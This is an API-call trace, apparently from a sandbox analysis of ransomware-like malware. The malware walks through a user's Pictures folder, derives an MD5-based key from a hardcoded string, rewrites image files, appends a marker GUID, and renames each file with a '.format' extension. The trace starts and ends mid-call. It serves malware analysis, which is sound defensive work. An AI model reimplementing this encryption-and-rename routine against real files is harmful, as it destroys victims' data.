(pszPath="") returned="" [0068.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.538] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd1f050, ftCreationTime.dwHighDateTime=0x1d4c963, ftLastAccessTime.dwLowDateTime=0x4afeea90, ftLastAccessTime.dwHighDateTime=0x1d4d26f, ftLastWriteTime.dwLowDateTime=0x4afeea90, ftLastWriteTime.dwHighDateTime=0x1d4d26f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.539] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd1f050, ftCreationTime.dwHighDateTime=0x1d4c963, ftLastAccessTime.dwLowDateTime=0x4afeea90, ftLastAccessTime.dwHighDateTime=0x1d4d26f, ftLastWriteTime.dwLowDateTime=0x4afeea90, ftLastWriteTime.dwHighDateTime=0x1d4d26f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.539] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa743dfc0, ftCreationTime.dwHighDateTime=0x1d4c763, ftLastAccessTime.dwLowDateTime=0x7e008850, ftLastAccessTime.dwHighDateTime=0x1d4cd32, ftLastWriteTime.dwLowDateTime=0x7e008850, ftLastWriteTime.dwHighDateTime=0x1d4cd32, nFileSizeHigh=0x0, nFileSizeLow=0xc4ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a09hCY1lv p_IZ98.gif", cAlternateFileName="A09HCY~1.GIF")) returned 1 [0068.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.539] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.539] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a09hCY1lv p_IZ98.gif") returned=".gif" [0068.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a09hCY1lv p_IZ98.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a09hcy1lv p_iz98.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.539] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=50378) returned 1 [0068.539] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.542] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.542] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.542] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.542] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xc4ca, lpOverlapped=0x0) returned 1 [0068.543] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.543] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.543] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.543] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.543] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.544] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.544] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.544] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.544] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.544] GetLastError () returned 0x0 [0068.544] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.544] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.544] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc4ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.544] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.544] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.544] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.545] CloseHandle (hObject=0x5c8) returned 1 [0068.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.546] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.546] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a09hCY1lv p_IZ98.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a09hcy1lv p_iz98.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a09hCY1lv p_IZ98.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a09hcy1lv p_iz98.gif.format")) returned 1 [0068.547] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d26b40, ftCreationTime.dwHighDateTime=0x1d4c6e6, ftLastAccessTime.dwLowDateTime=0xaed29500, ftLastAccessTime.dwHighDateTime=0x1d4ce0d, ftLastWriteTime.dwLowDateTime=0xaed29500, ftLastWriteTime.dwHighDateTime=0x1d4ce0d, nFileSizeHigh=0x0, nFileSizeLow=0x14c49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a51sNIVKR E3Ge8fV.bmp", cAlternateFileName="A51SNI~1.BMP")) returned 1 [0068.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.547] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.547] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a51sNIVKR E3Ge8fV.bmp") returned=".bmp" [0068.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a51sNIVKR E3Ge8fV.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a51snivkr e3ge8fv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.547] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=85065) returned 1 [0068.548] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.550] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x14c23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.550] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.551] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x14c49, lpOverlapped=0x0) returned 1 [0068.551] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.551] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.552] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.552] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.552] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.552] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.552] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.552] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.552] GetLastError () returned 0x0 [0068.552] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.553] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.553] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x14c49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.554] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.554] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.554] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.554] CloseHandle (hObject=0x5c8) returned 1 [0068.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0068.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.555] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a51sNIVKR E3Ge8fV.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a51snivkr e3ge8fv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\a51sNIVKR E3Ge8fV.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a51snivkr e3ge8fv.bmp.format")) returned 1 [0068.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.556] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.557] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb57dfa50, ftCreationTime.dwHighDateTime=0x1d4c82e, ftLastAccessTime.dwLowDateTime=0xe7d24740, ftLastAccessTime.dwHighDateTime=0x1d4d3eb, ftLastWriteTime.dwLowDateTime=0xe7d24740, ftLastWriteTime.dwHighDateTime=0x1d4d3eb, nFileSizeHigh=0x0, nFileSizeLow=0x86d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8IAMc.png", cAlternateFileName="")) returned 1 [0068.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.557] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.557] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\A8IAMc.png") returned=".png" [0068.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\A8IAMc.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a8iamc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.557] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=34521) returned 1 [0068.557] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.560] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x86b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.560] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.560] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.560] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.561] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.561] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x86d9, lpOverlapped=0x0) returned 1 [0068.561] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.561] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.561] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.561] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.561] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.562] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.562] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.562] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.562] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.562] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.562] GetLastError () returned 0x0 [0068.562] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.562] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.562] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.562] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x86e0) returned 0x32b2f40 [0068.562] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.562] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.562] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x86d4, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x86d4, lpOverlapped=0x0) returned 1 [0068.563] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x86d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.563] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.563] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.563] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.563] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.563] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.563] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.563] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.563] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.563] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.563] CloseHandle (hObject=0x5c8) returned 1 [0068.564] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.564] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.564] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee098 | out: hHeap=0x5d0000) returned 1 [0068.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\A8IAMc.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a8iamc.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\A8IAMc.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\a8iamc.png.format")) returned 1 [0068.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.567] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.568] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3239d10, ftCreationTime.dwHighDateTime=0x1d4cb6a, ftLastAccessTime.dwLowDateTime=0xd72d75b0, ftLastAccessTime.dwHighDateTime=0x1d4cb06, ftLastWriteTime.dwLowDateTime=0xd72d75b0, ftLastWriteTime.dwHighDateTime=0x1d4cb06, nFileSizeHigh=0x0, nFileSizeLow=0x8c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CabPSqWIP4Gw.gif", cAlternateFileName="CABPSQ~1.GIF")) returned 1 [0068.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.568] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\CabPSqWIP4Gw.gif") returned=".gif" [0068.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\CabPSqWIP4Gw.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\cabpsqwip4gw.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.568] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=2247) returned 1 [0068.568] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.571] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.571] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.572] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.572] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8c7, lpOverlapped=0x0) returned 1 [0068.572] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.572] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.572] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.572] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.573] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.573] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.573] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 